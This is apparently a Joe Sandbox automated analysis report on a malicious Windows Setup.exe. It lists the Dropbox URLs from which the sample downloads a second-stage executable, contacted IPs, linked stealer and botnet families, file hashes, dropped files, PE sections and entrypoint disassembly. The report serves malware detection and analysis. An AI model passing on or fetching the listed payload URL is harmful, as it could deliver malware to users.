https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/x	Setup.exe, 00000000.00000003.2331533297.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552203137.0000000000573000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.dropbox.com/scl/fi/5f2wtgchzmyjlw28dykxx/bas.exe?rlkey=pe1jp4uyttpg7v7kioe9u8jb3&e=1&st=	Setup.exe, 00000000.00000002.2552285277.0000000000840000.00000004.00000020.00020000.00000000.sdmp	false	high
https://uc4987246912bb9eda67e3cacd9c.dl.dropboxusercontent.com/	Setup.exe, 00000000.00000002.2552010178.0000000000523000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2331533297.0000000000573000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2552203137.0000000000573000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.dropbox.com/	Setup.exe, 00000000.00000002.2552010178.0000000000523000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.125.69.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579569
Start date and time:	2024-12-23 01:20:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal76.winEXE@2/6@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 3 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 4.175.87.197, 13.107.246.61, 20.190.177.146
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:22:24	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.69.18	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
162.125.69.15	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www-env.dropbox-dns.com	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	162.125.65.18
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
edge-block-www-env.dropbox-dns.com	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DROPBOXUS	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.125.232.208
	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	162.125.65.18
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
DROPBOXUS	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.125.232.208
	https://f.io/nWWUxvn6	Get hash	malicious	HTMLPhisher	Browse	162.125.65.18
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	162.125.69.18 162.125.69.15
	installer.msi	Get hash	malicious	Unknown	Browse	162.125.69.18 162.125.69.15
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	162.125.69.18 162.125.69.15
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	162.125.69.18 162.125.69.15
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.125.69.18 162.125.69.15
	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	162.125.69.18 162.125.69.15
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	162.125.69.18 162.125.69.15

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Setup.exe_unknow_698a34cf8598190b79149657f32f46b03a22ee_206ef939_b9a1b499-2506-4301-8cc4-b0cae6c76eb6\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9920999162878391
Encrypted:	false
SSDEEP:	96:5zyFCK3RsVhModhy/qhGQXIDcQMc67ocEvcw3J+HbHg/5DgOg0dl/phsv5o1OyWI:0D3Rc350CoFaj5DhGzuiFlZ24lO83
MD5:	499E820DC87805C01C6D660DFF1849D2
SHA1:	FC1758624BA7D3128BD897E01B0F5C6AC876B29C
SHA-256:	02816C13082401A0543BBD1672FB484B70BEB9B78930429BB0CB2E76808AFC38
SHA-512:	779015988DC5249FAB5E22C29B9DDF730CE7D65A5D279F408EDECA99B7C22F564669926A10D8B0341F44963A35CFDD44834E0A839D45733A2F096BC60B9804F1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.3.8.6.9.2.3.4.2.0.5.0.9.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.3.8.6.9.2.3.9.6.7.3.8.8.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.a.1.b.4.9.9.-.2.5.0.6.-.4.3.0.1.-.8.c.c.4.-.b.0.c.a.e.6.c.7.6.e.b.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.3.6.0.6.9.f.5.-.f.8.d.b.-.4.9.5.4.-.9.3.d.0.-.9.1.7.f.2.d.5.b.2.e.9.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.S.e.t.u.p...e.x.e._.u.n.k.n.o.w.n.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.c.-.0.0.0.1.-.0.0.1.4.-.8.a.4.c.-.9.f.8.a.d.0.5.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.6.6.e.3.a.f.a.d.a.5.8.7.7.4.c.1.3.7.3.d.f.b.1.9.a.0.8.c.0.4.9.0.0.0.0.f.f.f.f.!.0.0.0.0.8.c.c.8.0.0.f.7.b.8.c.e.a.9.2.0.a.9.e.2.7.6.2.0.3.d.c.c.8.0.c.6.0.7.1.3.d.1.2.5.!.S.e.t.u.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.0.1././.0.1.:.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F7B.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Dec 23 00:22:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	152104
Entropy (8bit):	1.6641292474119065
Encrypted:	false
SSDEEP:	384:GOn4ZqmA6wACnIGY5w0p7m8yn9LYsba04q5rKt1Imw8PpHYCiypz:5IqYwAfG849LsnvDImw8PpHYCiypz
MD5:	4BC9D61B312A7CE5A66BD8586F03CA5F
SHA1:	61C291D164D9B2D76CAD8AE95B53CA27F2D20006
SHA-256:	08AE6A609B29D9FC6B0DC339036D18D3F53BA9B8B61AA94BD2263AB804B7358E
SHA-512:	8AAB7B4FAAB6006BD672128934B3A999152BFBCF304C0FA9D939BF2CA80A46363BF13E1EE9B9B6A3457F1E32E6E5B9BC0B23F5C710D01866C73B080620884B9A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......+.hg........................................nY..........T.......8...........T............H..............` ..........L"..............................................................................eJ......."......Lw......................T............hg/............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9095.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8858
Entropy (8bit):	3.707445829705285
Encrypted:	false
SSDEEP:	192:R6l7wVeJx5OfTX6Y9LZ/sgmfGI6JjFpr+89bvk8ftlm:R6lXJvmTX6YxZ0gmfGIijfvHfO
MD5:	05B2AC9B61FD40E8F457FAAEFF4F4E06
SHA1:	B4569D9809E76A00AB8BF548F321A355BB17B6F3
SHA-256:	E4197775386ECDB8C52FA4B5941E53E190634962419D98A608A2FD1D023576C0
SHA-512:	C1212D7D624CB457FB6721738341A1AEDD270CD33A43ED4C7881420FFF492D0232457EB08D9F50E5122656532E7D1079EFF7F6DDA45C1A43A9556082FBD39410
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER90C5.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	4.496649807503453
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnSJg771I9ZWWpW8VY4Ym8M4Jy9Y4FIyq85Obmi3IBnXd:uIjfngI7237VoJy98rSi38nXd
MD5:	1FACA38B2F96B7D09EF65D14FC410607
SHA1:	80E30E0BE0CA921AFF2EB3B6D0AA679D2BB73A16
SHA-256:	E160B2C931C0D29114086107D671359A3F31465BC3600AA8756A8E972327B02F
SHA-512:	398854797247E822B8485925D019BB7889DCFDB4D10C0A8F06D0C8F5E37B07413C2FEAF34F126767045C9D06CC28D48C558AF9EC6662A36672885C6A62108EC6
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="643164" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13164032
Entropy (8bit):	7.752878047119261
Encrypted:	false
SSDEEP:	393216:+v4V9WRLAsEb6hCFcXLVsasjQsIyQ+/jn7:+v4TyA/bApXhOhQ+/7
MD5:	D5139AE53CB10A64C9245BBF3447ED1C
SHA1:	727199337E080C162FD86558A697B3BCBCE646E1
SHA-256:	8AD2DCB075A7DA5785530BC805B5391A397E1C659BEDCB564774B6940B7FCBED
SHA-512:	E0EFDD485460975A43C6B472554DF08CC3E3EA60BC7E71B7477909748AD5C0BA566FC70110FF87717F704ECC96688B13BD62B5FD116BC2719FD381AB3908BDC6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...7.hg.........."..........>......X:.........@.............................`............`.....................................................(................G..............................................(.....@............................................text............................... ..`.rdata.............................@..@.data...p....`...~...L..............@....pdata...G.......H..................@..@.fptable.....P......................@....tls.........`......................@..._RDATA.......p......................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465428363371231
Encrypted:	false
SSDEEP:	6144:oIXfpi67eLPU9skLmb0b4oWSPKaJG8nAgejZMMhA2gX4WABl0uNHdwBCswSbc:9XD94oWlLZMM6YFH1+c
MD5:	3B5F7D6333ED18F56F79BA92DFAE8DDC
SHA1:	F4529EEF1C1AC83A4F689D70E3C07932286973CC
SHA-256:	92F8BE61FD0472E82F3C67F337A03F16234E1B8D1E99C785C8A1425A236A8541
SHA-512:	0414F357A80DEC56164EB0DC63FD7661B2DF2B5EA1DA85D4C826AAA38E2E1FE9F9ECA13E8B5F957DF34430700C1F5342D031537E988537DDDE10363B92DCCBC2
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmrI..T.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	3.898722046803592
TrID:	Win64 Executable (generic) (12005/4) 74.80% Generic Win/DOS Executable (2004/3) 12.49% DOS Executable Generic (2002/1) 12.47% VXD Driver (31/22) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	Setup.exe
File size:	32'256 bytes
MD5:	4df8231315f36673367c24d44e728c07
SHA1:	8cc800f7b8cea920a9e276203dcc80c60713d125
SHA256:	3cfef03a477cbcf259ec5ba7870085ecbad477b952d6bd41fe1e4d6ec68116ec
SHA512:	15b5852f3e3d410cc3668e8391fa8102922f06e2969ade9ff0c5181814e3fc4bf93aca1751155bb90eb688c6571521ebe4cc1cffad8409536a5ee1736c64e3d7
SSDEEP:	384:vb8Pt+/dKldfBVBTcfCQhnn7VQUjO1QCwCnGvtjJaNfGJy:oAHcLwCGa5
TLSH:	1EE28233A6E94279D25B80F2AFE1ABDF3023B1F94530354F5AE00B166E77620789935D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./..........^.......'........@......................................M.....................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x402780
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4485a47c7a828aa874e8576026668c3c

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 00000040h
mov eax, 00000000h
mov dword ptr [ebp-04h], eax
mov eax, 00000002h
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007F28E932AFCAh
dec eax
mov eax, dword ptr [00000E1Ah]
dec eax
mov ecx, dword ptr [00000E1Bh]
dec eax
mov edx, dword ptr [00000E1Ch]
dec eax
mov dword ptr [ebp-10h], eax
dec eax
lea eax, dword ptr [ebp-04h]
dec eax
mov dword ptr [esp+20h], eax
mov eax, 00000000h
dec ecx
mov ecx, eax
dec ecx
mov eax, edx
dec ecx
mov ebx, ecx
dec eax
mov eax, dword ptr [ebp-10h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007F28E932AF90h
dec eax
mov eax, dword ptr [00000DD8h]
mov ecx, dword ptr [eax]
cmp ecx, 01h
mov eax, 00000000h
setnle al
cmp eax, 00000000h
je 00007F28E932ADA9h
dec eax
mov eax, dword ptr [00000DC3h]
dec eax
mov ecx, dword ptr [eax]
dec eax
add ecx, 08h
jmp 00007F28E932ADA4h
dec eax
mov eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F28E932AD98h
dec eax
mov eax, dword ptr [ecx]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007F28E932AB9Bh
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007F28E932AF40h
leave
ret
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 00000020h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38e0	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34e0	0x3c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4000	0x3cc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x351c	0x118	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19f0	0x1a00	ce091942160f93fac122485aba610fdb	False	0.35922475961538464	data	5.255788255800164	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x950	0xa00	809060938d437b3d027176ed7fa9fa63	False	0.422265625	data	4.0450456976668505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x4000	0x3cc	0x400	2a9ee48b7c9142b7875ab7065f6fdfa5	False	0.4111328125	data	3.536117502379637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.enigma1	0x5000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.enigma2	0x6000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp0	0x7000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp1	0x8000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp2	0x9000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX0	0xa000	0x1edc	0x2000	5eb21ee586501b35e860d10df8105721	False	0.4049072265625	data	5.786559424121408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.winlice	0xc000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.petite	0xd000	0x1	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
